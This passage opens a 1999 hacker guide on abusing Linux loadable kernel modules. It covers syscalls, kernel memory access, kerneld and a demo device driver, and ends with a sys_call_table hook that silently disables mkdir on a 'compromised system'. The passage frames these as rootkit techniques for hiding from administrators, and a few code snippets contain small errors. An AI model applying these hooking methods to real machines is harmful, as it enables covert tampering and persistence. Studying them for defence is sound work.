written by pragmatic / THC, version 1.0
released 03/1999

CONTENTS
Introduction

I. Basics
1. What are LKMs
2. What are Syscalls
3. What is the Kernel-Symbol-Table
4. How to transform Kernel to User Space Memory
5. Ways to use user space like functions
6. List of daily needed Kernelspace Functions
7. What is the Kernel-Daemon
8. Creating your own Devices

II. Fun & Profit
1. How to intercept Syscalls
2. Interesting Syscalls to Intercept

2.1 Finding interesting systemcalls (the strace approach)
3. Confusing the kernel's System Table
4. Filesystem related Hacks

4.1 How to Hide Files

4.2 How to hide the file contents (totally)

4.3 How to hide certain file parts (a prototype implementation)

4.4 How to monitor redirect file operations

4.5 How to avoid any file owner problems

4.6 How to make a hacker-tools-directory unaccessible

4.7 How to change CHROOT Environments
5. Process related Hacks

5.1 How to hide any process

5.2 How to redirect Execution of files
6. Network (Socket) related Hacks

6.1 How to controll Socket Operations
7. Ways to TTY Hijacking
8. Virus writing with LKMs

8.1 How a LKM virus can infect any file (not just modules; prototype)

8.2 How can a LKM virus help us to get in
9. Making our LKM invisible & unremovable
10.Other ways of abusing the Kerneldaemon
11.How to check for presents of our LKM

III. Soltutions (for admins)
1. LKM Detector Theory & Ideas

1.1 Practical Example of a prototype Detector

1.2 Practical Example of a prototype password protected create_module(...)
2. Anti-LKM-Infector ideas
3 Make your programs untraceable (theory)

3.1 Practical Example of a prototype Anti-Tracer
4. Hardening the Linux Kernel with LKMs

4.1 Why should we allow arbitrary programs execution rights? (route's idea from Phrack implemented as LKM)

4.2 The Link Patch (Solar Designer's idea from Phrack implemented as LKM)

4.3 The /proc permission patch (route's idea from Phrack implemented as LKM)

4.4 The securelevel patch (route's idea from Phrack implemented as LKM)

4.5 The rawdisk patch

IV. Some Better Ideas (for hackers)
1. Tricks to beat admin LKMs
2. Patching the whole kernel - or creating the Hacker-OS

2.1 How to find kernel symbols in /dev/kmem

2.2 The new 'insmod' working without kernel support
3. Last words

V. The near future : Kernel 2.2
1. Main Difference for LKM writer's

VI. Last Words
1. The 'LKM story' or 'how to make a system plug & hack compatible'
2. Links to other Resources

Acknowledgements

Greets

Appendix

A - Source Codes

a) LKM Infection by Stealthf0rk/SVAT

b) Heroin - the classic one by Runar Jensen

c) LKM Hider / Socket Backdoor by plaguez

d) LKM TTY hijacking by halflife

e) AFHRM - the monitor tool by Michal Zalewski

f) CHROOT module trick by FLoW/HISPAHACK

g) Kernel Memory Patching by ?

h) Module insertion without native support by Silvio Cesare

--------------------------------------------------------------------------------

Introduction
The use of Linux in server environments is growing from second to second. So hacking Linux becomes more interesting every day. One of the best techniques to attack a Linux system is using kernel code. Due to its feature called Loadable Kernel Modules (LKMs) it is possible to write code running in kernel space, which allows us to access very sensitive parts of the OS. There were some texts and files concerning LKM hacking before (Phrack, for example) which were very good. They introduced new ideas, new methodes and complete LKMs doing anything a hacker ever dreamed of. Also some public discussion (Newsgroups, Mailinglists) in 1998 were very interesting.
So why do I write again a text about LKMs. Well there are several reasons :

former texts did sometimes not give good explanations for kernel beginners; this text has a very big basic section, helping beginners to understand the concepts. I met lots of people using nice exploits/sniffers and so on without even understanding how they work. I included lots of source code in this file with lots of comments, just to help those beginners who know that hacking is more than playing havoc on some networks out there !

every published text concentrated on a special subject, there was no complete guide for hackers concerning LKMs. This text will cover nearly every aspect of kernel abusing (even virus aspects)

this texts was written from the hacker / virus coder perspective, but it will also help admins and normal kernel developers doing a better job

former text showed us the main advantages / methods of abusing LKMs, but there are some things which we have not heard of yet. This text will show some new ideas (nothing totally new, but things which could help us)

this text will show concepts of some simple ways to protect from LKM attacks

this text will also show how to defeat LKM protections by using methods like Runtime Kernel Patching

Please remember that new ideas are implemented as prototype modules (just for demonstration) which have to be improved in order to use them in the wild.
The main motivation of this text is giving everyone one big text covering the whole LKM problem. In appendix A I give you some existing LKMs plus a short description of their working (for beginners) and ways to use them.
The whole text (except part V) is based on a Linux 2.0.x machine (x86).I tested all programs and code fragments. The Linux system must have LKM support for using most code examples in this text. Only part IV will show some sources working without native LKM support. Most ideas in this text will also work on 2.2.x systems (perhaps you'll need some minor modification); but recall that kernel 2.2.x was just released (1/99) and most linux distribution still use 2.0.x (Redhat, SuSE, Caldera, ...). In April some some distributors like SuSE will present their kernel 2.2.x versions; so you won't need to know how to hack a 2.2.x kernel at the moment. Good administrators will also wait some months in order to get a more reliable 2.2.x kernel. [Note : Most systems just don't need kernel 2.2.x so they will continue using 2.0.x].
This text has a special section dealing with LKMs helping admins to secure the system. You (hacker) should also read this section, you must know everything the admins know and even more. You will also get some nice ideas from that section that could help you develope more advanced 'hacker-LKMs'. Just read the whole text !
And please remember : This text was only written for educational purpose. Any illegal action based on this text is your own problem.

I. Basics

1. What are LKMs
LKMs are Loadable Kernel Modules used by the Linux kernel to expand his functionality. The advantage of those LKMs : The can be loaded dynamically; there must be no recompilation of the whole kernel. Because of those features they are often used for specific device drivers (or filesystems) such as soundcards etc.
Every LKM consist of two basic functions (minimum) :
int init_module(void) /*used for all initialition stuff*/
{

...
}

void cleanup_module(void) /*used for a clean shutdown*/
{
...
}

Loading a module - normally retricted to root - is managed by issuing the follwing command:
# insmod module.o

This command forces the System to do the following things :
Load the objectfile (here module.o)

call create_module systemcall (for systemcalls -> see I.2) for Relocation of memory

unresolved references are resolved by Kernel-Symbols with the systemcall get_kernel_syms

after this the init_module systemcall is used for the LKM initialisation -> executing int init_module(void) etc.

The Kernel-Symbols are explained in I.3 (Kernel-Symbol-Table).
So I think we can write our first little LKM just showing how it basicly works:
#define MODULE
#include <Linux/module.h>

int init_module(void)
{
printk("<1>Hello World\n");
return 0;
}

void cleanup_module(void)
{
printk("<1>Bye, Bye");
}

You may wonder why I used printk(...) not printf(...). Well Kernel-Programming is totally different from Userspace-Programming !
You only have a very restricted set of commands (see I.6). With those commands you cannot do much, so you will learn how to use lots of functions you know from your userspace applications helping you hacking the kernel. Just be patient, we have to do something else before...
The Example above can easily compiled by
# gcc -c -O3 helloworld.c
# insmod helloworld.o

Ok, our module is loaded and showed us the famous text. Now you can check some commands showing you that your LKM really stays in kernel space.

# lsmod
Module         Pages    Used by
helloworld         1              0

This command reads the information in /proc/modules for showing you which modules are loaded at the moment. 'Pages' is the memory information (how many pages does this module fill); the 'Used by' field tells us how often the module is used in the System (reference count). The module can only be removed, when this counter is zero; after checking this, you can remove your module with
# rmmod helloworld

Ok, this was our first little (very little) step towards abusing LKMs. I always compared those LKMs to old DOS TSR Programs (yes there are many differences, I know), they were our gate to staying resident in memory and catching every interrupt we wanted. Microsoft's WIN 9x has something called VxD, which is also similar to LKMs (also many differences). The most interesting part of those resident programs is the ability to hook system functions, in the Linux world called systemcalls.

2. What are systemcalls
I hope you know, that every OS has some functions build into its kernel, which are used for every operation on that system.
The functions Linux uses are called systemcalls. They represent a transition from user to kernel space. Opening a file in user space is represented by the sys_open systemcall in kernel space. For a complete list of all systemcalls available on your System look at /usr/include/sys/syscall.h. The following list shows my syscall.h
#ifndef        _SYS_SYSCALL_H
#define        _SYS_SYSCALL_H

#define        SYS_setup                0 /* Used only by init, to get system going. */
#define SYS_exit                1
#define SYS_fork                2
#define SYS_read                3
#define SYS_write                4
#define SYS_open                5
#define SYS_close                6
#define SYS_waitpid                7
#define SYS_creat                8
#define SYS_link                9
#define SYS_unlink                10
#define SYS_execve                11
#define SYS_chdir                12
#define SYS_time                13
#define SYS_prev_mknod                14
#define SYS_chmod                15
#define SYS_chown                16
#define SYS_break                17
#define SYS_oldstat                18
#define SYS_lseek                19
#define SYS_getpid                20
#define SYS_mount                21
#define SYS_umount                22
#define SYS_setuid                23
#define SYS_getuid                24
#define SYS_stime                25
#define SYS_ptrace                26
#define SYS_alarm                27
#define SYS_oldfstat                28
#define SYS_pause                29
#define SYS_utime                30
#define SYS_stty                31
#define SYS_gtty                32
#define SYS_access                33
#define SYS_nice                34
#define SYS_ftime                35
#define SYS_sync                36
#define SYS_kill                37
#define SYS_rename                38
#define SYS_mkdir                39
#define SYS_rmdir                40
#define SYS_dup                        41
#define SYS_pipe                42
#define SYS_times                43
#define SYS_prof                44
#define SYS_brk                        45
#define SYS_setgid                46
#define SYS_getgid                47
#define SYS_signal                48
#define SYS_geteuid                49
#define SYS_getegid                50
#define SYS_acct                51
#define SYS_phys                52
#define SYS_lock                53
#define SYS_ioctl                54
#define SYS_fcntl                55
#define SYS_mpx                        56
#define SYS_setpgid                57
#define SYS_ulimit                58
#define SYS_oldolduname                59
#define SYS_umask                60
#define SYS_chroot                61
#define SYS_prev_ustat                62
#define SYS_dup2                63
#define SYS_getppid                64
#define SYS_getpgrp                65
#define SYS_setsid                66
#define SYS_sigaction                67
#define SYS_siggetmask                68
#define SYS_sigsetmask                69
#define SYS_setreuid                70
#define SYS_setregid                71
#define SYS_sigsuspend                72
#define SYS_sigpending                73
#define SYS_sethostname                74
#define SYS_setrlimit                75
#define SYS_getrlimit                76
#define SYS_getrusage                77
#define SYS_gettimeofday        78
#define SYS_settimeofday        79
#define SYS_getgroups                80
#define SYS_setgroups                81
#define SYS_select                82
#define SYS_symlink                83
#define SYS_oldlstat                84
#define SYS_readlink                85
#define SYS_uselib                86
#define SYS_swapon                87
#define SYS_reboot                88
#define SYS_readdir                89
#define SYS_mmap                90
#define SYS_munmap                91
#define SYS_truncate                92
#define SYS_ftruncate                93
#define SYS_fchmod                94
#define SYS_fchown                95
#define SYS_getpriority                96
#define SYS_setpriority                97
#define SYS_profil                98
#define SYS_statfs                99
#define SYS_fstatfs                100
#define SYS_ioperm                101
#define SYS_socketcall                102
#define SYS_klog                103
#define SYS_setitimer                104
#define SYS_getitimer                105
#define SYS_prev_stat                106
#define SYS_prev_lstat                107
#define SYS_prev_fstat                108
#define SYS_olduname                109
#define SYS_iopl                110
#define SYS_vhangup                111
#define SYS_idle                112
#define SYS_vm86old                113
#define SYS_wait4                114
#define SYS_swapoff                115
#define SYS_sysinfo                116
#define SYS_ipc                        117
#define SYS_fsync                118
#define SYS_sigreturn                119
#define SYS_clone                120
#define SYS_setdomainname        121
#define SYS_uname                122
#define SYS_modify_ldt                123
#define SYS_adjtimex                124
#define SYS_mprotect                125
#define SYS_sigprocmask                126
#define SYS_create_module        127
#define SYS_init_module                128
#define SYS_delete_module        129
#define SYS_get_kernel_syms        130
#define SYS_quotactl                131
#define SYS_getpgid                132
#define SYS_fchdir                133
#define SYS_bdflush                134
#define SYS_sysfs                135
#define SYS_personality                136
#define SYS_afs_syscall                137 /* Syscall for Andrew File System */
#define        SYS_setfsuid                138
#define        SYS_setfsgid                139
#define        SYS__llseek                140
#define SYS_getdents                141
#define SYS__newselect                142
#define SYS_flock                143
#define SYS_syscall_flock        SYS_flock
#define SYS_msync                144
#define SYS_readv                145
#define SYS_syscall_readv        SYS_readv
#define SYS_writev                146
#define SYS_syscall_writev        SYS_writev
#define SYS_getsid                147
#define SYS_fdatasync                148
#define SYS__sysctl                149
#define SYS_mlock                150
#define SYS_munlock                151
#define SYS_mlockall                152
#define SYS_munlockall                153
#define SYS_sched_setparam        154
#define SYS_sched_getparam        155
#define SYS_sched_setscheduler        156
#define SYS_sched_getscheduler        157
#define SYS_sched_yield                158
#define SYS_sched_get_priority_max        159
#define SYS_sched_get_priority_min        160
#define SYS_sched_rr_get_interval        161
#define SYS_nanosleep                162
#define SYS_mremap                163
#define SYS_setresuid                164
#define SYS_getresuid                165
#define SYS_vm86                166
#define SYS_query_module        167
#define SYS_poll                168
#define SYS_syscall_poll        SYS_poll

#endif        /* <sys/syscall.h> */

Every systemcall has a defined number (see listing above), which is actually used to make the systemcall.
The Kernel uses interrupt 0x80 for managing every systemcall. The systemcall number and any arguments are moved to some registers (eax for systemcall number, for example).
The systemcall number is an index in an array of a kernel structure called sys_call_table[]. This structure maps the systemcall numbers to the needed service function.
Ok, this should be enough knowledge to continue reading. The following table lists the most interesting systemcalls plus a short description. Believe me, you have to know the exact working of those systemcalls in order to make really useful LKMs.
systemcall description
int sys_brk(unsigned long new_brk); changes the size of used DS (data segment) ->this systemcall will be discussed in I.4
int sys_fork(struct pt_regs regs); systemcall for the well-know fork() function in user space
int sys_getuid ()
int sys_setuid (uid_t uid)
... systemcalls for managing UID etc.
int sys_get_kernel_sysms(struct kernel_sym *table) systemcall for accessing the kernel system table (-> I.3)
int sys_sethostname (char *name, int len);
int sys_gethostname (char *name, int len);
sys_sethostname is responsible for setting the hostname, and sys_gethostname for retrieving it
int sys_chdir (const char *path);
int sys_fchdir (unsigned int fd);
both function are used for setting the current directory (cd ...)
int sys_chmod (const char *filename, mode_t mode);
int sys_chown (const char *filename, mode_t mode);
int sys_fchmod (unsigned int fildes, mode_t mode);
int sys_fchown (unsigned int fildes, mode_t mode);
functions for managing permissions and so on
int sys_chroot (const char *filename); sets root directory for calling process
int sys_execve (struct pt_regs regs); important systemcall -> it is responsible for executing file (pt_regs is the register stack)
long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg); changing characteristics of fd (opened file descr.)
int sys_link (const char *oldname, const char *newname);
int sym_link (const char *oldname, const char *newname);
int sys_unlink (const char *name);
systemcalls for hard- / softlinks management
int sys_rename (const char *oldname, const char *newname); file renaming
int sys_rmdir (const char* name);
int sys_mkdir (const *char filename, int mode);
creating & removing directories
int sys_open (const char *filename, int mode);
int sys_close (unsigned int fd);
everything concering opening files (also creation), and also closing them
int sys_read (unsigned int fd, char *buf, unsigned int count);
int sys_write (unsigned int fd, char *buf, unsigned int count);
systemcalls for writing & reading from Files
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count); systemcall which retrievs file listing (ls ... command)  
int sys_readlink (const char *path, char *buf, int bufsize); reading symbolic links
int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp); multiplexing of I/O operations
sys_socketcall (int call, unsigned long args); socket functions
unsigned long sys_create_module (char *name, unsigned long size);
int sys_delete_module (char *name);
int sys_query_module (const char *name, int which, void *buf, size_t bufsize, size_t *ret);
used for loading / unloading LKMs and querying
In my opinion these are the most interesting systemcalls for any hacking intention, of course it is possible that you may need something special on your rooted system, but the average hacker has a plenty of possibilities with the listing above. In part II you will learn how to use the systemcalls for your profit.
3. What is the Kernel-Symbol-Table
Ok, we understand the basic concept of systemcalls and modules. But there is another very important point we need to understand - the Kernel Symbol Table. Take a look at /proc/ksyms. Every entry in this file represents an exported (public) Kernel Symbol, which can be accessed by our LKM. Take a deep look in that file, you will find many interesting things in it.
This file is really very interesting, and can help us to see what our LKM can get; but there is one problem. Every Symbol used in our LKM (like a function) is also exportet to the public, and is also listed in that file. So an experienced admin could discover our little LKM and kill it.
There are lots of methods to prevent the admin from seeing our LKM, look at section II.
The methods mentioned in II can be called 'Hacks', but when you take a look at the contents of section II you won't find any reference to 'Keeping LKM Symbols out of /proc/ksyms'. The reason for not mentioning this problem in II is the following :
you won't need a trick to keep your module symbols away from /proc/ksyms. LKM devolopers are able to use the following piece of regular code to limit the exported symbols of their module:

static struct symbol_table module_syms= { /*we define our own symbol table !*/
#include <linux/symtab_begin.h>          /*symbols we want to export, do we ?*/
   ...                                       
};

register_symtab(&module_syms);            /*do the actual registration*/

As I said, we don't want to export any symbols to the public, so we use the following construction :
register_symtab(NULL);

This line must be inserted in the init_module() function, remember this !
4. How to transform Kernel to User Space Memory
Till now this essay was very very basic and easy. Now we come to stuff more difficult (but not more advanced).
We have many advantages because of coding in kernel space, but we also have some disadvantages. systemcalls get their arguments from user space (systemcalls are implemented in wrappers like libc), but our LKM runs in kernel space. In section II you will see that it is very important for us to check the arguments of certain systemcalls in order to act the right way. But how can we access an argument allocated in user space from our kernel space module ?
Solution : We have to make a transition.
This may sound a bit strange for non-kernel-hackers, but is really easy. Take the following systemcall :

int sys_chdir (const char *path)

Imagine the system calling it, and we intercept that call (we will learn this in section II). We want to check the path the user wants to set, so we have to access const char *path. If you try to access the path variable directly like
printk("<1>%s\n", path);

you will get real problems...
Remember you are in kernel space, you cannot read user space memory easily. Well in Phrack 52 you get a solution by plaguez, which is specialized for strings He uses a kernel mode function (macro) for retrieving user space memory bytes :
#include <asm/segment.h>

get_user(pointer);

Giving this function a pointer to our *path location helps ous getting the bytes from user space memory to kernel space. Look at the implemtation made by plaguez for moving strings from user to kernel space:

char *strncpy_fromfs(char *dest, const char *src, int n)
{
    char *tmp = src;
    int compt = 0;

    do {
        dest[compt++] = __get_user(tmp++, 1);
    }
    while ((dest[compt - 1] != '\0') && (compt != n));

    return dest;
}

If we want to convert our *path variable we can use the following piece of kernel code :
char *kernel_space_path;

kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory
                                                        in kernel space*/
(void) strncpy_fromfs(test, path, 20);                 /*calling plaguez's
                                                        function*/
printk("<1>%s\n", kernel_space_path);                  /*now we can use
                                                        the data for whatever we
                                                        want*/
kfree(test);                                           /*remember freeing the
                                                        memory*/

The code above works very fine. For a general transition it is too complicated; plaguez used it only for strings (the functions is made only for string copies). For normal data transitions the following function is the easiest way of doing:
#include <asm/segment.h>
void memcpy_fromfs(void *to, const void *from, unsigned long count);

Both functions are obviously based on the same kind of commands, but the second one is nearly the same as plaguez's newly defined function. I would recommand using memcpy_fromfs(...) for general data transitions and plaguez's one for string copying tasks.
Now we know how to convert from user space memory to kernel space. But what about the other direction ? This is a bit harder, because we cannot easily allocate user space memory from our kernel space position. If we could manage this problem we could use

#include <asm/segment.h>
void memcpy_tofs(void *to, const void *from, unsigned long count);

doing the actual converting. But how to allocate user space for the *to pointer? plaguez's Phrack essay gives us the best solution :
/*we need brk systemcall*/
static inline _syscall1(int, brk, void *, end_data_segment);

...

int ret, tmp;
char *truc = OLDEXEC;
char *nouveau = NEWEXEC;
unsigned long mmm;

mmm = current->mm->brk;
ret = brk((void *) (mmm + 256));
if (ret < 0)
   return ret;
memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

This is a very nice trick used here. current is a pointer to the task structure of the current process; mm is the pointer to the mm_struct - responsible for the memory management of that process. By using the brk-systemcall on current-> mm->brk we are able to increase the size of the unused area of the datasegment. And as we all know allocating memory is done by playing with the datasegment, so by increasing the unused area size, we have allocated some piece of memory for the current process. This memory can be used for copying the kernel space memory to user space (of the current process).
You may wonder about the first line from the code above. This line helps us to use user space like functions in kernel space.Every user space function provided to us (like fork, brk, open, read, write, ...) is represented by a _syscall(...) macro. So we can construct the exact syscall-macro for a certain user space function (represented by a systemcall); here for brk(...).
See I.5 for a detailed explanation.
5. Ways to use user space like functions
As you saw in I.4 we used a syscall macro for constructing our own brk call, which is like the one we know from user space (->brk(2)). The truth about the user space library funtions (not all) is that they all are implemented through such syscall macros. The following code shows the _syscall1(..) macro used in I.4 to construct the brk(..) function (taken from /asm/unistd.h).

#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1))); \
if (__res >= 0) \
        return (type) __res; \
errno = -__res; \
return -1; \
}

You don't need to understand this code in its full function, it just calls interrupt 0x80 with the arguments provided by the _syscall1 parameters (-> I.2). name stands for the systemcall we need (the name is expanded to __NR_name, which is defined in /asm/unistd.h). This way we implemted the brk function. Other functions with a different count of arguments are implemented through other macros (_syscallX, where X stands for the number of arguments).
I personally use another way of implementing functions; look at the following example :
int (*open)(char *, int, int); /*declare a prototype*/

open = sys_call_table[SYS_open];  /*you can also use __NR_open*/

This way you don't need to use any syscall macro, you just use the function pointer from the sys_call_table. While searching the web, I found that this way of contructing user space like functions is also used in the famous LKM infector by SVAT. In my opinion this is the better solution, but test it and judge yourself.
Be careful when supplying arguments for those systemcalls, they need them in user space not from your kernel space position. Read I.4 for ways to bring your kernel space data to user space memory.
A very easy way doing this (the best way in my opinion) is playing with the needed registers. You have to know that Linux uses segment selectors to differentiate between kernel space, user space and so on. Arguments used with systemcalls which were issued from user space are somewhere in the data segment selector (DS) range. [I did not mention this in I.4,because it fits more in this section.]
DS can be retrieved by using get_ds() from asm/segment.h. So the data used as parameters by systemcalls can only be accessed from kernel space if we set the segment selector used for the user segment by the kernel to the needed DS value. This can be done by using set_fs(...). But be careful,you have to restore FS after you accessed the argument of the systemcall. So let's look at a code fragment showing something useful :

->filename is in our kernel space; a string we just created, for example

unsigned long old_fs_value=get_fs();

set_fs(get_ds);               /*after this we can access the user space data*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value);         /*restore fs...*/

In my opinion this is the easiet / fastest way of solving the problem, but test it yourself (again).
Remember that the functions I showed till now (brk, open) are all implemented through a single systemcall. But there are also groups of user space functions which are summarized into one systemcall. Take a look at the listing of interesting systemcalls (I.2); the sys_socketcall, for example, implements every function concering sockets (creation, closing, sending, receiving,...). So be careful when constructing your functions; always take a look at the kernel sources.

6. List of daily needed Kernelspace Functions
I introduced the printk(..) function in the beginning of this text. It is a function everyone can use in kernel space, it is a so called kernel function. Those functions are made for kernel developers who need complex functions which are normally only available through a library function. The following listing shows the most important kernel functions we often need : function/macro description
int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);
functions for packing data into strings
printk (...) the same as printf in user space
void *memset (void *s, char c, size_t count);
void *memcpy (void *dest, const void *src, size_t count);
char *bcopy (const char *src, char *dest, int count);
void *memmove (void *dest, const void *src, size_t count);
int memcmp (const void *cs, const void *ct, size_t count);
void *memscan (void *addr, unsigned char c, size_t size);
memory functions
int register_symtab (struct symbol_table *intab); see I.1
char *strcpy (char *dest, const char *src);
char *strncpy (char *dest, const char *src, size_t count);
char *strcat (char *dest, const char *src);
char *strncat (char *dest, const char *src, size_t count);
int strcmp (const char *cs, const char *ct);
int strncmp (const char *cs,const char *ct, size_t count);
char *strchr (const char *s, char c);
size_t strlen (const char *s);
size_t strnlen (const char *s, size_t count);
size_t strspn (const char *s, const char *accept);
char *strpbrk (const char *cs, const char *ct);
char *strtok (char *s, const char *ct);
string compare functions etc.
unsigned long simple_strtoul (const char *cp, char **endp, unsigned int base); converting strings to number
get_user_byte (addr);
put_user_byte (x, addr);
get_user_word (addr);
put_user_word (x, addr);
get_user_long (addr);
put_user_long (x, addr);
functions for accessing user memory
suser();
fsuser();
checking for SuperUser rights
int register_chrdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_chrdev (unsigned int major, const char *name);
int register_blkdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_blkdev (unsigned int major, const char *name);
functions which register device driver
..._chrdev -> character devices
..._blkdev -> block devices

Please remember that some of those function may also be made available through the method mentoined in I.5. But you should understand, that it is not very useful contructing nice user space like functions, when the kernel gives them to us for free.
Later on you will see that these functions (especially string comaprisons) are very important for our purposes.

7. What is the Kernel-Daemon
Finally we nearly reached the end of the basic part. Now I will explain the working of the Kernel-Daemon (/sbin/kerneld). As the name suggest this is a process in user space waiting for some action. First of all you must know that it is necessary to activite the kerneld option while building the kernel, in order to use kerneld's features. Kerneld works the following way : If the kernel wants to access a resource (in kernel space of course), which is not present at that moment, he does not produce an error. Instead of doing this he asks kerneld for that resource. If kerneld is able to provide the resource, it loads the required LKM and the kernel can continue working. By using this scheme it is possible to load and unload LKMs only when they are really needed / not needed. It should be clear that this work needs to be done both in user and in kernel space.
Kerneld exists in user space. If the kernel requests a new module this daemon receives a string from the kernel telling it which module to load.It is possible that the kenel sends a generic name (instead of the name of object file) like eth0. In this case the system need to lookup /etc/modules.conf for alias lines. Those lines match generic names to the LKM required on that system.
The following line says that eth0 is represented by a DEC Tulip driver LKM :

# /etc/modules.conf          # or /etc/conf.modules - this differs
alias eth0 tulip

This was the user space side represented by the kerneld daemon. The kernel space part is mainly represented by 4 functions. These functions are all based on a call to kerneld_send. For the exact way kerneld_send is involved by calling those functions look at linux/kerneld.h. The following table lists the 4 functions mentioned above :
function description
int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);
functions for packing data into strings
int request_module (const char *name); says kerneld that the kernel requires a certain module (given a name or gerneric ID / name)  

int release_module (const char* name, int waitflag); unload a module

int delayed_release_module (const char *name); delayed unload

int cancel_release_module (const char *name); cancels a call of delayed_release_module

Note : Kernel 2.2 uses another scheme for requesting modules. Take a look at part V.
8. Creating your own Devices
Appendix A introduces a TTY Hijacking util, which will use a device to log its results. So we have to look at a very basic example of a device driver. Look at the following code (this is a very basic driver, I just wrote it for demonstration, it does implement nearly no operations...) :

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

/*just a dummy for demonstration*/
static int driver_open(struct inode *i, struct file *f)
{
printk("<1>Open Function\n");
return 0;
}

/*register every function which will be provided by our driver*/
static struct file_operations fops = {
NULL,                 /*lseek*/
NULL,                 /*read*/
NULL,                 /*write*/
NULL,                 /*readdir*/
NULL,                 /*select*/
NULL,                 /*ioctl*/
NULL,                 /*mmap*/
driver_open,          /*open, take a look at my dummy open function*/
NULL,                 /*release*/
NULL                  /*fsync...*/
};

int init_module(void)
{
/*register driver with major 40 and the name driver*/
if(register_chrdev(40, "driver", &fops)) return -EIO;
  return 0;
}

void cleanup_module(void)
{
/*unregister our driver*/
unregister_chrdev(40, "driver");
}

The most important important function is register_chrdev(...) which registers our driver with the major number 40. If you want to access this driver,do the following :
# mknode /dev/driver c 40 0

# insmod driver.o

After this you can access that device (but i did not implement any functions due to lack of time...). The file_operations structure provides every function (operation) which our driver will provide to the system. As you can see I did only implement a very (!) basic dummy function just printing something. It should be clear that you can implement your own devices in a very easy way by using the methods above. Just do some experiments. If you log some data (key strokes, for example) you can build a buffer in your driver that exports its contents through the device interface).
II. Fun & Profit

1. How to intercept Syscalls
Now we start abusing the LKM scheme. Normally LKMs are used to extend the kernel (especially hardware drivers). Our 'Hacks' will do something different, they will intercept systemcalls and modify them in order to change the way the system reacts on certain commands.
The following module makes it impossible for any user on the compromised system to create directories. This is just a little demonstration to show the way we follow.

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];       /*sys_call_table is exported, so we
                                     can access it*/               

int (*orig_mkdir)(const char *path); /*the original systemcall*/

int hacked_mkdir(const char *path)
{
return 0;                           /*everything is ok, but he new systemcall
                                     does nothing*/
}

int init_module(void)                /*module setup*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
                                       one*/
}

Compile this module and start it (see I.1). Try to make a directory, it will not work.Because of returning 0 (standing for OK) we don't get an error message. After removing the module making directories is possible again. As you can see, we only need to change the corresponding entry in sys_call_table (see I.2) for intercepting a kernel systemcall.
The general approach to intercepting a systemcall is outlined in the following list :

find your systemcall entry in sys_call_table[] (take a look at include/sys/ syscall.h)

save the old entry of sys_call_table[X] in a function pointer (where X stands for the systemcallnumber you want to intercept)

save the address of the new (hacked) systemcall you defined yourself by setting sys_call_table[X] to the needed function address

You will recognize that it is very useful to save the old systemcall function pointer, because you will need it in your hacked one for emulating the original call. The first question you have to face when writing a 'Hack-LKM ' is :
'Which systemcall should I intercept'.

2. Interesting Syscalls to Intercept
Perhaps you are not a 'kernel god' and you don't know every systemcall for every user space function an application or command can use. So I will give you some hints on finding your systemcalls to take control over.

read source code. On systems like Linux you can have the source code on nearly any program a user (admin) can use. Once you have found a basic function like dup, open, write, ... go to b

take a look at include/sys/syscall.h (see I.2). Try to find a directly corresponding systemcall (search for dup -> you will find SYS_dup; search for write -> you will find SYS_write; ...). If this does not work got to c

some calls like socket, send, receive, ... are implemented through one systemcall - as I said before. Take a look at the include file mentioned for related systemcalls.

Remember not every C-lib function is a systemcall ! Most functions are totally unrelated to any systemcalls !
A little more experienced hackers should take a look at the systemcall listing in I.2 which provides enough information. It should be clear that User ID management is implemented through the uid-systemcalls etc. If you really want to be sure you can also take a look at the library sources / kernel sources.
The hardest problem is an admin writing its own applications for checking system integrity / security. The problem concerning those programs is the lack of source code. We cannot say how this program exactly works and which systemcalls we have to intercept in order to hide our presents / tools. It may even be possible that he introduced a LKM hiding itself which implements cool hacker-like systemcalls for checking the system security (the admins often use hacker techniques to defend their system...). So how do we proceed.

2.1 Finding interesting systemcalls (the strace approach)
Let's say you know the super-admin program used to check the system (this can be done in some ways,like TTY hijacking (see II.9 / Appendix A), the only problem is that you need to hide your presents from the super-admin program until that point..).
So run the program (perhaps you have to be root to execute it) using strace.
# strace super_admin_proggy

This will give you a really nice output of every systemcall made by that program including the systemcalls which may be added by the admin through his hacking LKM (could be possible). I don't have a super-admin-proggy for showing you a sample output, but take a look at the output of 'strace whoami' :
execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
